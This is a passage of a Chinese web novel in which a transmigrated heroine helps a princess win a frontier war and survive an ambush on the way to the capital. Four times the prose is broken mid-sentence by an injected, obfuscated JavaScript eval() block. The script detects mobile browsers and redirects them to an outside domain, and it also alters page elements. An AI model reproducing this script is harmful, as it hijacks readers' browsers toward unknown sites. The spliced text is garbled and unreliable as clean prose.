托罗沙望着她目光骤变,昔日叱咤风云的女战神,如今竟变成沧桑臃肿的老妇。 她伸手将她拉起:“野利娥若……你变了。” 野利娥若语气沉稳:“卑职相貌虽变,本心未改。昨夜,卑职已将黑水河之战中,残害我回夏精麻军的依兹铁骑悉数斩杀,以慰亡者英灵。” 托罗沙紧紧握住她的手:“做得好。” 此时,姜婋颔首一拜:“姊师,我对你的承诺已履行。” 她转向托罗沙,又是一礼:“巫珠,公主对您的承诺也已兑现。” 言罢,身后随从抬上宰牙的尸身。 托罗沙凝望着那具头身分离的尸体,怔愣片刻,随即放声大笑。 那声音好像野兽的哀嚎,痛心彻骨。 紧接着,泪水从她深邃的眼眶滑落,她仰天长啸:“朵朵……阿娘为你复仇了,你可以瞑目了!” 这一喊仿佛用尽托罗沙全部的力气,说罢,她便拂去泪珠,转身直视昭离:“你竟当真做到了。” 昭离神色未变:“巫珠,其实杀人与杀鱼并无二致。” 此言一出,托罗沙眯起凤目,眸底透出一丝警觉。 她方才痛快之余,竟未察觉,这个看似稚嫩的小公主,如今已成为比宰牙更加危险的对手。 她目光下移,落在宰牙尸首之上,只见手筋脚筋尽断,血已放净,显然是特意处置过。 她若有所思地问:“是你处理的?” 昭离点头:“这样路上才不易腐坏。” 托罗沙盯着她,忽然笑得意味莫测:“你倒是细致周到。” 言罢,她自袖中取出一只金钗,正是当初昭离交予她的信物,伸手递去:“买卖已成,物归原主。” 昭离接过,取出黄金狼牙欲交还给她。 托罗沙抬手制止:“小公主,我曾说过若你能杀了宰牙,这狼牙便归你所有。” 昭离微微颔首:“多谢巫珠。” 托罗沙眯眼道:“是我该谢你才对。” 姜婋适时上前道:“巫珠,第一桩买卖既已成交,那第二桩买卖……您可考虑清楚了?” 托罗沙轻挥衣袖,示意殿内侍从退下,议事厅只余她们四人。 托罗沙重新坐回镜水池边,眸光沉吟,低声道:“用依兹换银川,助你登上帝位……” 她将手放置在镜水池,凤眼微阖,感受大地与水波的震荡,似在结合自然之力,听清心中真正的想法。 死寂片刻后,她陡然睁眼,悠悠道——“好!” 她收回手:“但你们须答应我,等小公主登上帝位,回夏与大昭要开辟商路,百年之内,我们两国皆不可率先开战。” 昭离郑重道:“巫珠,这正是我所愿。” 托罗沙眼尾一挑,笑道:“此次我们还需交换信物吗?” 昭离道:“宰牙的尸首,便是信物。” 托罗沙闻言,抬手示意野利娥若取来一只木匣。木匣开启,里面寒气四溢。 她说道:“这匣内乃是我回夏贺兰山山顶之玄冰,纵使携宰牙头颅跋涉十天半月,也可保其完好无损。我会命人再给你们带上些千年玄冰,待你们回到兴都,那位皇帝老儿必能一眼认出,此乃他畏惧了一生的敌人!” 昭离目光微动:“多谢,还是巫珠思虑周全。” 托罗沙忽然试探一笑:“我如此谈论你的父皇,你不会生气吧?” 昭离直言:“即便会又如何,毕竟您所言皆是实情。父皇确实忌惮宰牙,但我却不怕。” 托罗沙一怔,旋即大笑:“好气魄!我最讨厌你们大昭那套父父子子、君君臣臣的陈腐规矩!为了维护上级,不分黑白,不辩是非。好在你这小公主不吃这一套!” 昭离道:“父父子子,君君臣臣,说的皆是男子,与我这女子,又有何干?” 托罗沙闻言,笑声愈发畅快。 她望着昭离,忽然意味深长道:“我之前还觉得你们大昭不可能出母君,今日倒是令本巫珠翘首以盼了。” 既知离别已定,姜婋缓步上前,朝野利娥若叩首:“姊师,经此一别,恐怕今生再难相见了。” 野利娥若将她扶起,望着眼前的徒弟,眼中闪过一丝复杂情绪。 “好徒儿,你此去兴都须谨言慎行。西陲风沙虽烈,却比不过兴都那般人心鬼蜮。你所学的拳脚武艺,终究敌不过权谋诡道,凡事三思,切不可失了本心。” “多谢姊师教诲,徒儿谨记。” 野利娥若拍了拍她的肩,未再多言。 筹谋既定,去路已明。 昭离、姜婋与两人道别后,并肩踏出议事厅。 托罗沙倚在镜水池边的玉榻之上,目送二人背影。 待厅中沉寂片刻,她方才开口:“野利娥若,你说这两个小丫头,真能成功吗?我这笔买卖是赚了,还是亏了?” 野利娥若望着门外,哑声道:“胜负未定,世事难测,成与不成,皆在她们自己。” 托罗沙拈起案上的酒壶,可她忽而又将酒壶搁下:“看来,以后再不能贪杯了。” 说着,她唇角勾起一抹弧度:“若那小公主当真成了大昭的母君……本巫珠要与她们二人交手,恐怕还是保持清醒些为好。” 另一边,姜婋与昭离完成使命,走出西夏皇城。 尚记得她们初来之时,天色阴沉,高墙的阴影仿佛要将二人的身影吞没。然而此刻云开雾散,碧空如洗,烈日将她们的影子拉得修长。 二人并肩策马缓行,感受着久违的畅快。 姜婋忽然想起什么,一把拉住昭离的手:“与我哥汇合之前,我先带你去个地方。” 昭离眼中透出几分兴味:“什么地方?” “到了便知。” 两人纵马疾驰,一匹青骢,一匹红驹,踏破风尘,直奔那片丹霞山谷。 那是姜婋初闻公主即将到来时,误打误撞闯入的世间奇境,如今再至,已是夕阳西下。 天幕之下,丹霞地貌在余晖映照中折射出五光十色的辉芒。赤壁如染,霞光如镜,天地交汇处,苍穹如熔金翻涌,辉煌而壮美。 昭离跃下马背,看着眼前奇景,心神微震,一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昭离语气坚定:“我想回兴都,不仅仅是为了向父皇证明,我是他最骄傲,最宠爱的女儿。我更想知道——权力究竟是什么?” 她望向远方,眼底燃起的火光比此刻的霞光更热烈。 “在见过回夏巫珠托罗沙,亲手手刃宰牙之后,我时常在想,父王紧紧不放的,皇子们梦寐以求的,大臣们趋炎附势的,历朝历代的男人们,抢得头破血流也在所不惜的,那个叫做权力的东西,到底是什么滋味? “我虽没见过,也没得到过,但我想试一试……” 姜婋心头一震,盯着昭离的侧颜,缓缓开口: “昭离,我郑重地再问你一次——你想做公主吗?不是皇帝的女儿,太子的姐姐,某人的妻子……而是,天下公认之主。” 昭离看着她,眉眼宛如开刃的弯刀,字字如锋: ——“我想。” 姜婋呼吸一滞,忽然意识到,她已经助女主改变了她的命运。 昭离的野心竟比原本的故事线足足提前了两年! 两年,足够她们做许多事,改变许多命运…… 姜婋朗声一笑,翻身上马道:“昭离,那我便陪你,灭西戎,杀敌寇,除奸佞,掌王权,开拓太平盛世!” 昭离跃上小红驹:“好!我们便回兴都试试,看那算命的,究竟说得准不准!” 两人纵马扬鞭,踏碎落霞流金,仿若生动的一笔,融入这幅绮丽的丹霞余晖之中。 39.14 昭离与姜婋一路策马疾行,赶回依兹部落,准备处理交接城池的善后事宜。然甫一踏入依兹腹地,眼前景象就令她们骤然止步,心头大震。 此刻的依兹,宛如人间炼狱。 残破的毡帐燃起冲天大火,尸首横陈,牛羊流离,黄金、珠宝散落满地。 而更令人胆寒的,是那些遭受凌辱的依兹妇孺。女子的哭喊、士兵的□□,如杜鹃啼血般刺耳。 “都给我住手!” 昭离登时怒火翻腾,厉声质问:“顾云铮何在?!” 营帐之内,烛火摇曳。 顾云铮闻讯匆匆赶来,行礼道:“公主唤卑职,所为何事?” 昭离怒喝:“顾将军!我们的士兵如此残暴,与依兹铁骑又有何分别?” 顾云铮忙道:“请公主恕罪!卑职自昨夜起便留守军帐,盘点物资,并不知苍狼军竟做出此等大逆不道之事。请公主放心,卑职定会重罚!” 昭离冷声道:“我向来以为苍狼军治军严明,岂料竟也不过如此。” 顾云铮辩解:“公主,此战乃是苍狼军驻守西陲以来,首次大败依兹,兵士们心潮难抑,未免有些得意忘形……” “得意忘形?” 昭离怒极反笑,骤然起身:“顾将军,你们与依兹铁骑之间有何深仇大恨,我不欲深究。但你可知,今日苍狼军蹂躏的并非是手持兵刃的敌军,而是无辜的妇孺!” 顾云铮脸色微变,单膝跪地:“公主教训得是,卑职愿安抚依兹百姓,望公主息怒。” 昭离失望地看了顾云铮一眼,叹了口气。 姜婋看着这一幕,心中暗道,顾云铮啊顾云铮,男人啊男人,打了场胜仗便得意忘形。我还没来得及拆你“男主光环”的台,你倒是先自己暴露了满身父权制的腌臜恶臭,将女性当做战利品,将性暴力当做支配手段,沉溺于英雄叙事,以为自己可以为所欲为…… 片刻后,昭离强压怒意道:“顾将军,我已与回夏巫珠达成协议,以依兹换回我大昭失落之城银州。此地当归回夏所有,待她们接手之时,我不愿见到的是断壁残垣、焦土尸骨!” 顾云铮闻言一怔:“公主竟要用依兹换取银州?” “有何不可?” “未有不妥。卑职只是奇怪,昨夜围剿依兹时,回夏军竟突然而至,还助我们一臂之力……” 昭离与姜婋对视一眼,说道:“回夏对依兹虎视眈眈已久,昨夜是宰牙大婚,回夏本欲趁乱浑水摸鱼,未料局势突变,便索性助我们共伐依兹。正因有此助力,我才得以携宰牙尸首,与回夏巫珠谈判,换回我大昭的故土银州。” 顾云铮闻言沉思片刻,忽而开口:“公主,既如此,我们为何不趁胜追击,一并覆灭回夏?” 昭离神色骤变:“顾将军,你这是何意?” 顾云铮起身,神采飞扬道:“回夏乃依兹手下败将,既然苍狼军可平定依兹,回夏岂不唾手可得?届时挟二城之功,荣归兴都,圣上必然龙颜大悦!” 昭离难以置信,问道:“为博君王一笑,将军便要再启战端?” 顾云铮正色:“公主,此举亦是为了大昭百姓。” “好一句‘为了大昭百姓’!” 昭离反问:“顾将军,难道你不知最受战争荼毒的正是我大昭百姓?战事一起赋税加重,层层盘剥之下,百姓被敲骨吸髓,如何得安?再加之——” 她紧紧盯着顾云铮质问:“你以为回夏真如掌中之物?我们能够打败依兹,并不是依兹铁骑孱弱,而是因为我和婋婋筹谋已久。若非我舍命刺杀宰牙,使依兹群龙无首,若非婋婋以毒酒牵制铁骑,若非回夏暗助,今日谁胜谁负,还尚未可知。顾将军,莫要被一场胜仗迷了双眼!” 闻言,顾云铮神色微变,他方才原本是想乘胜追击,博得公主青睐,不料却马失前蹄,触碰了公主的逆鳞。 沉默半晌后,他低头道:“公主教训得是。卑职只是想护家国安稳,护所爱之人……” 姜婋闻言,忽然心生悲哀。 这一刻,她察觉到,这不仅仅是女主角和男主角的矛盾,更是新旧两股力量的正面碰撞。 一个是诞生于当下,由觉醒的作者亲手塑造的新女性;另一个是根植于旧时代、对男权暴行无意识,傲慢而陈旧的男人。 这两人之间已经不仅是鸿沟,而是根本无法跨越的天堑。 原小说里,这样两个人竟然还能被按头锁死,真是滑天下之大稽! 可想而知,女主要压抑多少真实的自我,让渡多少灵魂,磨平多少棱角、背离本心,才能心甘情愿地站在男主身后,换来那所谓的「浪漫爱」。 姜婋看着顾云铮完全不知自己错在何处的眼神,不由得叹了口气。 她思忖片刻,还是试图向一个古文男主角解释清楚,上前一步道。 “哥,战争有各种各样的目的,唯独不是为了保护所爱之人,而是为了那些享有特权的男人。你来日可以名留青史,史书会为你立碑,颂扬你的赫赫战功。可在这被粉饰的篇章之下,又埋葬了多少无辜人的性命? “你可知,一道错误的军令,一个狂妄自大的决策,便足以让数万生灵化作枯骨?然而史书不会如实记载,只会吹嘘帝王将相的丰功伟绩,为他们装裱一份历史的豁免权。” “但那些被屠戮的百姓,被焚烧的村落,被□□的妇孺,被迫背井离乡的难民,她们连尸骨都不曾留下,甚至不配拥有姓名。她们的哀嚎消散于黄沙,她们的名字淹没于历史尘埃,仿佛从未存在……” 她望着顾云铮道:“战争是男子气概的产物,我们虽然被这个父权制的世界塑造,但我们也可以改变这个世界。” 顾云铮瞳孔颤动,像是听懂了,又像是什么都未曾听入耳中。 他站在那里,身披铠甲,却像被囚困在一个破碎的英雄梦里。 他曾以为征战四方,护国卫民,是他的天职。 可此刻,姜婋的话让他隐隐觉得,有什么深信不疑的东西,正悄然裂开一道缝隙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803393|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜婋已不愿再言,她望着他,心中忽然生出一丝莫名的悲悯,好可怜……你只是言情故事里的男主角,好可怜;你只活在过去,好可怜;你还被旧思想束缚止步不前,好可怜…… 这时,昭离冷声道:“顾将军,你出去吧。凡今夜屠戮百姓、侮辱妇孺的苍狼军士兵,一并处死!” 顾云铮一惊:“公主——” 昭离语气不容置疑:“我已决意。只要我还在这里,军中辱女者,立斩不赦!” 顾云铮双拳紧握,终究低头应道:“末将遵旨……” 说罢,他转身大步而去。 帐中寂静了片刻,昭离缓缓坐下,眼底浮现一丝疲惫。 “婋婋,我很失望。一直以来,我以为昭国最大的敌人就是宰牙,可未曾想到,最难战胜的,却是自己人……” 姜婋握住她的手:“昭离,我们即将回到兴都,恐怕会经历更多这样的失望……” 营帐外,西北风怒号,仿佛一场暴雨正在酝酿。 此刻,千里之外的兴都府。 皇城之内,有一处远离朝堂喧嚣的修身养性之所,云雾缭绕,宛若仙境,正是皇帝赵柟的长生观。 观内翠竹掩映,青松环绕,更设一处清泉,名曰“洗心池”,泉水潺潺,偶有鹤鸣回荡。 大昭皇帝赵柟,端坐于中央一方青□□上,身着道袍,头顶松松挽着道髻,乌金簪斜插其中,几缕白发不经意地垂落鬓间。 他微闭双目,调息吐纳,冥思玄理,恍若遗世仙人。 忽而,一阵轻缓的脚步声自殿外传来。 一位身穿青布衣裙的女子款款而入,她眉心一点朱红,衬得那双眸子更显幽深。虽卸去华服,但仍掩不住她天生的风华气度。 此人正是媚皇后。 她立于殿前,微微行礼:“臣妾万死,惊扰圣上清修。只是顾将军派人传来西陲急报,此事兹体体大,臣妾不敢有丝毫耽搁。” 赵柟缓缓睁目,似不胜其扰,又似早已知晓终究不得清净,叹了口气。 “呈上来吧。” 媚皇后一个眼神,身后跟着的大臣立刻上前,双手呈上折子。 赵柟展开奏折,原本波澜不惊的神色顿时一变。 “依兹王宰牙竟被昭离所杀?且公主未费一兵一卒,便收复了银州?好!不愧是朕的女儿!” 媚皇后闻言,眸色微变,唇角虽挂着笑,语气却含义深深:“想不到,公主竟有如此能耐?” 赵柟豁然起身:“皇后,即刻为朕拟诏,命昭离与顾云铮速速回朝。朕,要重重赏赐!” 媚皇后颔首:“臣妾遵旨。” 她转身而去,步履依旧从容优雅,而那双美目却在迈出殿门之际,掠过一抹杀意。 门外竹涛阵阵,洗心池边白鹤惊鸣,振翅而去,似预示着一场风暴将至。 【作者小啰嗦】 下一章离开西陲,开启新地图! 姜婋:终于不用再吃沙子了~ 40.15 展眼数日后,皇帝的诏令传至西陲。 昭离处理完丹州事宜,便与姜婋、顾云铮及苍狼军精锐踏上归途。一路上风尘仆仆,三人快马加鞭,终于抵达中转站庆州。 欲速返兴都,水路乃最快之径,于是,一行人在庆州登船。 这日,官船顺江而下,水波粼粼,远山如黛,耳闻桨声欸乃,体感微风拂来,着实令人心旷神怡。 姜婋立于船头,衣袂轻扬,眼中雀跃。 自从进入这个副本以来,她便困于西陲,苦练武艺,怒饮狂风。 此刻,江水悠悠,天地辽阔,她终于摆脱了那片苍茫苦寒之地。 她大喊道:“终于不用再吃沙子了……” 话音未落,脑中系统的声音响起: “恭喜玩家,即将与女主角共同开启故事的第二卷——夺权。” 姜婋问道:“系统,我已经让故事上了发条,如今昭离比原小说提前两年回都城,那些事件还会按照原有顺序发生吗?” 系统:“玩家,你最擅长不按套路出牌,现在剧情如何发展,本系统也未可知了。” 姜婋忽然想到什么:“对了,系统,我发现这个副本中,女主昭离好像并没有很喜欢男主顾云铮啊。” 系统:“玩家,这可是你的功劳。你每天防顾云铮跟防贼一样,把两人隔开三米之远,你忘了?” 姜婋蹙眉:“那……这么容易就奏效了?” “当然不全是。” 系统:“关键是,这本《弑皇女帝》是你最近才看的小说,女主的塑造切合当下,相对清醒,所以不会像2009年的夏星澜那般,更容易受到「女主必为男主心动法则」的影响。 姜婋还是奇怪:“可《弑皇女帝》38章男主登场之后,昭离的人设也崩了呀?” 系统:“但你一开始就从回夏手中救走了女主,又联合回夏,灭了依兹,斩杀斩牙。经历了这么多,你已经唤醒了昭离的「我本位」意识,这正是「女主心动法则」的克星,所以昭离除非心甘情愿,否则不会轻易对男主角心动了。” “原来如此!” 姜婋分析起来:“看来每个副本故事不同,闯关的重点也有差异,这个副本的核心并非杀男主,而是杀父权。现如今,昭离心中最重要的人,就是她那位皇帝老爹!” 系统:“这正是这一关的难点,也是书名为何叫‘弑皇’的原因。不过这个副本还有一个难点。” “什么?” 系统正要回答,忽然一阵脚步声靠近,系统顿时噤声。 昭离走到姜婋身侧道:“自从启程往兴都,你好像一直都很兴奋。” 姜婋道:“当然啦,我还从未去过兴都呢!” 昭离闻言,扬唇一笑:“既如此,待我们到了兴都,我带你去尝曹婆婆的肉饼、薛家羊肉饭,还有樊楼的桂花白玉糕。” 姜婋舔了舔唇:“你都吃过啦?” 昭离顿了顿,摇头道:“我当时从湖州直接被接到皇宫,这些都是听宫人们提起的……” 姜婋见她神色失落,便拍拍她的肩,提议道:“那这次,我们可得一起尝尝!” 昭离抿唇轻笑,点头答应。 落日余晖洒在江波,流霞随波荡漾,映得二人笑靥如江花。 可夜色初临之时,忽然风势突变,江水翻涌,不远处隐隐传来异样的水声。 官船被风浪吹打得摇摇晃晃,船舱中的昭离和姜婋睡卧不宁。 甲板之上,顾云铮立于船头,目光凌厉地扫视四周:“不对劲!” 话音未落,江面上骤然冲出十余艘轻舟,劈波斩浪,直逼官船而来。 一群凶神恶煞的水匪瞬间登船而上,他们手持弯刀,身法矫健,显然并非寻常劫匪。 船舱内的昭离与姜婋也察觉到异样,姜婋立刻把昭离护在身后。 苍狼军精锐迅速警戒,而那些冲上甲板的水匪,借着江水颠簸之势,身形如鬼魅,而顾云铮等人却因船身晃荡,脚下不稳,攻守皆受限制。 顾云铮长枪一挥,朝为首之人质问:“何方宵小,竟敢拦截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815665|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官船!” 水匪首领狞笑一声,并不答话,弯刀霍然劈下! 刀枪交错,兵刃碰撞激起火星四溅,喊杀声震动夜空。 官船另一边,姜婋一路护着昭离,她银枪疾挑,不容任何水匪近身。 可她独战至船尾,已是力竭之势,且退无可退。 就在这时,一支冷箭破空而来,直取昭离心口! 电光火石之间,姜婋脑中一片空白,唯有一个念头闪过——谁都可以死,连自己都可以,但女主绝对不能死! 她本能地扑上去,挡在昭离身前,箭矢猛然没入她的胸口! 剧痛炸裂,鲜血瞬间染红她的衣襟,而那伤口,竟与昭离用金钗刺她的地方一模一样。 姜婋眼前一黑,身形摇晃,随即向后仰去,直直坠入翻涌的江水之中。 “婋婋——” 昭离伸手去拉,却只抓住一块衣角。 她登时心神剧震,一股从未有过的恐惧攫住了她,她害怕失去眼前之人,她更从未想过,竟有人愿意为了自己不顾生死! 几乎不容思索,昭离纵身跃下,扑通一声,消失在湍急的水中。 江水之下,幽险若漆,目不能视。 好在昭离自幼在湖边长大,水性极佳,她奋力向下潜去,一寸寸摸索,终于触到一片柔软,正是姜婋的手指从她指缝中滑过。 可就在堪堪要抓住之际,昭离胸腔内再无一丝余气。她只能游出水面,猛地深吸一口气,又再度沉入水中。 一串串气泡自嘴边溢出,她与姜婋过去的点点滴滴,像走马灯一样浮现在她的面前:从初见时的惊鸿一瞥,到阴差阳错的金钗一刺;从说服回夏巫珠的破釜沉舟,到木桩做戏的生死未卜;从并肩作战斩杀宰牙;再到她为自己挡下这一箭的决绝…… 在这一刻,昭离意识到她绝对不可以失去姜婋。 绝对! 就在沉到不能再沉之时,昭离终于拉住姜婋衣袖,顺势揽住她的腰,双唇轻覆,将那一口救命的气息,渡入姜婋唇间…… 41.16 半晌后,二人终于浮出水面。 彼时官船之上,顾云铮已带苍狼军将水匪尽数剿灭,可当他们去查看尸首时,却发现那些匪徒全部服毒自尽,毫无线索可寻…… 顾云铮发现落水的昭离和姜婋,立刻救上船。 昭离托住昏迷的姜婋,颤声高喊:“军医——快传军医!” 船舱内,烛光摇曳,映得姜婋面色愈发苍白。 随行军医为姜婋施救,昭离跪坐在姜婋身侧,她浑身战栗不止,也不知是害怕还是寒冷。 她手指颤抖地按住姜婋的伤口,温热的血瞬间染红了她冰冷的掌心。 顷刻间,昭离心乱如麻,她在杀宰牙之时看见鲜血都没有此刻恐惧。 她声音颤抖地朝军医道:“无论如何,她绝不能死!” 军医为姜婋拔出箭羽,却发现创口血色变黑,似有毒素。 见状,军医立刻禀告:“公主,这箭尖淬毒,需得尽快吸出,否则毒入心脉,神仙都难救了。” 昭离不假思索:“那你快救啊!” “这……” 见军医踟蹰,她才反应过来,军医是男子,此事多有不便。 昭离沉了口气道:“我来。” 顾云铮劝阻:“公主乃是金枝玉叶,岂能以身试毒?” “何来金枝玉叶?世人之命皆同等重要。” 昭离看着卧榻上的姜婋:“她舍身救我之时,又何曾想过自身贵贱?如今不过是区区为她吸出毒血,若我不来,难道顾将军你来?” 顾云铮一时语塞,他与妹妹虽是至亲,然终究男女有别。 昭离转向军医,神色坚定:“请您告知我该怎么做。” 军医略一迟疑,终颔首道:“公主需屏退旁人,小心行事……” 众人尽退,帐内只余昭离与姜婋。 她俯身揭去姜婋胸侧染血的衣衫,伤口赫然映入眼帘,金钗刺破的疮疤上覆盖着箭尖撕裂的血肉。 蓦地,昭离遥想二人初见之时,自己对“假顾将军”充满防备,那一钗刺的更是毫不留情。 那时她满心防备,唯恐此人别有所图。 可如今,姜婋却毫不犹豫地替她挡下一箭,箭伤又碰巧在此处…… 悔意如潮水涌来,若没有自己那一刺,她是不是尚能快些恢复? 念及此,昭离低下头,为她吸出毒血。 姜婋倏地眉心微蹙,似在梦魇中挣扎。 昭离吐出毒血,望着姜婋苍白的脸,指尖轻轻覆上她冰凉的手。 船舱轻晃,夜风拂来,吹散了些许血腥气,却带来了一缕淡淡的、温柔的气息。 昏迷之中,姜婋如坠深海。 只觉四周冰冷无比,意识越来越模糊。然而,在那彻骨寒冷中,一道温暖的触感忽然包裹住她,像是有人拉住了她的手。 黑暗中,她似乎听见了昭离的声音,一遍又一遍唤着她的名字: “婋婋……你千万不能死……” 迷迷糊糊中,系统的声音仿佛响在脑海: “玩家,检测到女主角情绪起伏剧烈。” “从这一刻起,玩家姜婋正式成为这本小说的男主角……” 紧接着,一连串电脑宕机的声音接连而起。 “错误!错误!男主性别检测未通过,不合格。” “男主绑定失败,请重新定位合格男主角。” 几种声音交织在一起,时而清晰,时而混沌。 姜婋意识游离,仿若并未听见一鳞半爪的字句,唯有断断续续的呼喊。 数日后,姜婋终于悠悠转醒。 昭离一直守在床榻前,顿时惊喜交加:“你醒了!” 姜婋目光有些迷茫:“这不是梦吧?” 昭离紧紧握住她的手:“当然不是。” 姜婋登时哭诉:“吓死我了!呜呜呜呜,昏迷中我听见什么错误、错误、绑定失败……我以为又死了,进入什么新系统了……” 昭离一顿,只当她说的是呓语,问道:“你明明那么怕死,为什么要挡在我面前?” 姜婋愣了愣:“我怕死……但更怕你死。” 昭离目光复杂:“为什么?” “因为……” 姜婋心道,因为你可是本文女主角。 她看向昭离,认真道:“你以后可是要成为母君的人,你活着大昭才有希望,我可得保护好你。” 昭离微愣,还未等她反应,姜婋又补了一句:“我死了也就死了……” 昭离猛地伸手捂住她的嘴:“别再说‘死’字,我要你活着!” 这一捂昭离用了十足的力气,一下子把姜婋按回床榻,顿时伤口一抽,姜婋痛得差点飙泪! 昭离赶紧收回手:“都是我不好,是不是弄疼你了?” 姜婋看出她的担心,笑道:“无妨,我在西陲这几年锻炼的皮糙肉厚,这点小伤不在话下。对了,袭击我们的人查清楚了吗?” “顾将军已经去查那些水匪的身份了,可是,他们竟然全都服毒自尽,线索断了。” “看来这些人并非普通的水匪。” 姜婋顿了顿,望向昭离:“我以前就说过,有很多人想让你死,你的敌人可不止在西陲。” 昭离目光一寒:“你是说,想杀我的人……在皇宫里?” 姜婋心道:肯定是第二卷的大boss媚皇后啊! 但媚皇后这个人很复杂…… 在原小说里,昭离没这么早回兴都,所以并没有水匪这一难。现下昭离带着宰牙的头颅和银州之功,荣归兴都,肯定令媚皇后感到威胁,所以才下此杀招。 她一直想着为女主累积功绩,却忘了木秀于林风必摧之,昭离太过瞩目,恐怕回兴都后要格外小心了…… 而她不知道的是,昭离也在心底暗暗发誓,再也不要让眼前之人受伤了…… 二人虽各自目的不同,但对彼此的牵挂都如同春日的新芽,沐着微风,伴着晨露,一夜之间便可抽枝展叶,蓬勃生长。 但每日昏睡养伤的姜婋,并未注意到窗外已是春色将至。 这日夜里,姜婋半昏半寐时,系统突然发声:“玩家……” 姜婋坐起身来:“系统!我受伤昏迷这几天你跑哪儿去了?” 系统声音沉重:“玩家,出大事了。” “什么事?” 系统:“就在你为公主挡箭昏迷之时,本系统检测到女主角情绪剧烈波动。现在,你已经成为了本文的新·男主角。” “这话是什么意思?” 姜婋有点懵:“我不是玩家吗?怎么还能当男主角?” “本系统也始料未及。但你目前在女主心中的位置已经超越了原男主顾云铮,自然成为了她选定的「新男主角」。” 闻言,姜婋又开心又别扭:“好奇怪,之前我一直想将顾云铮取而代之,可是,我突然成为男主角了,却觉得很难过……” 系统:“为何难过?” 姜婋叹气:“因为,我不想把我和昭离的关系削足适履,硬生生地塞进浪漫爱这双水晶鞋里。” 她抬眸,眼中闪过过去的一幕幕:“我与昭离并肩走到今日,共筹大计,勇闯回夏,收复依兹,斩杀宰牙……我们曾在风沙渡大口吃肉,大碗喝酒,也曾在黄沙丹霞中纵马狂奔,我们一起见过最美的落日和晚霞,我把她从最绝望的深渊里拉出来,她将我从鬼门关硬生生夺回来。我和昭离的关系复杂得很,岂是‘男主角’三个字能代替的。” 姜婋说罢,又转念一想:“可我若是男主角的话,不就拥有了「男主光环buff附体法则」了吗?那我直接谋反,杀了皇帝老登,让女主登基为帝,不就一键通关了?既如此,那我暂且屈尊当一当男主角,也不是不可以。” 系统迟疑了一下:“……玩家,其实我刚才的话还没说完。你虽然被昭离选定为男主角,但并未通过浪漫爱世界的正式认证。” “这话又是什么意思?” 系统:“因为你性别检测不合格,绑定失败。所以你现在是一个‘错误的男主角’,并不具备浪漫爱世界赋予男主角的各项光环和buff。” “什么?!” 姜婋气得伤口差点崩裂:“好个异性恋霸权的浪漫爱世界!又鸡贼又爱男!气死我了!” 系统:“玩家稍安勿躁,不过你能取代男主角,起码证明目前来说,顾云铮对你不具备任何威胁了。” 姜婋思考半晌,忽而问道:“那昭离对我的感情,到底是什么呢?友情?爱情?亲情?还是同情?” 她轻轻一叹:“唉……有时候我真觉得中文语境中形容女性感情的词汇太过贫乏,女性的情感光谱那么丰富多彩,彼此间不该被简化为这几种情。” 系统:“玩家。根据本系统对女主情感行为的综合演算,昭离对你的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832762|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感模式,最接近于——「雏鸟情结」。” “雏鸟情结?”姜婋不解。 “没错。昭离在前往和亲,最孤立无援的时刻,第一个给予她希望的人,就是你。原小说设定中,她之所以会爱上男主顾云铮,是因为在被回夏偷袭,命悬一线时,那个从天而降戴着面具救她于危局之中的人,是顾云铮。” 系统微顿:“而你,从一开始就逆转了情节,并引导她在西陲副本中,走出了属于自己的新路径。于是,你取代了原男主顾云铮。” 姜婋问道:“所以,照这么说……昭离心中最重要的人,其实是我?” 系统:“不。在你出现之前,早已有一人,抢先占据了那个位置。” 姜婋诧异:“难道是她的父亲——昭国皇帝赵柟?” 系统:“正是。昭离一出生便因天象不祥被处死,她无父无母,由干娘养大。可即便如此,她心底仍有对亲生母父的依恋。虽说昭离前半生所有不幸,皆源于皇帝迷信天象,但那份「雏鸟情结」,再加之,皇帝为了利用她和亲,自然恩宠百倍。这些表象,足以让昭离更加确信,父皇是爱她的。” 姜婋静静听完,神色复杂道:“所以说,昭离正因过往的经历,对每一个真心待她好的人,都会不自觉地产生一种「雏鸟情结」。而那个给她最多希望的,不是那个真正爱她的人,而是……那个最初伤害她的人。” 系统:“是的。而在前往和亲途中,当她再次陷入无助之境,遇见的第二个毫无条件信任她、陪伴她的人——便是你。” 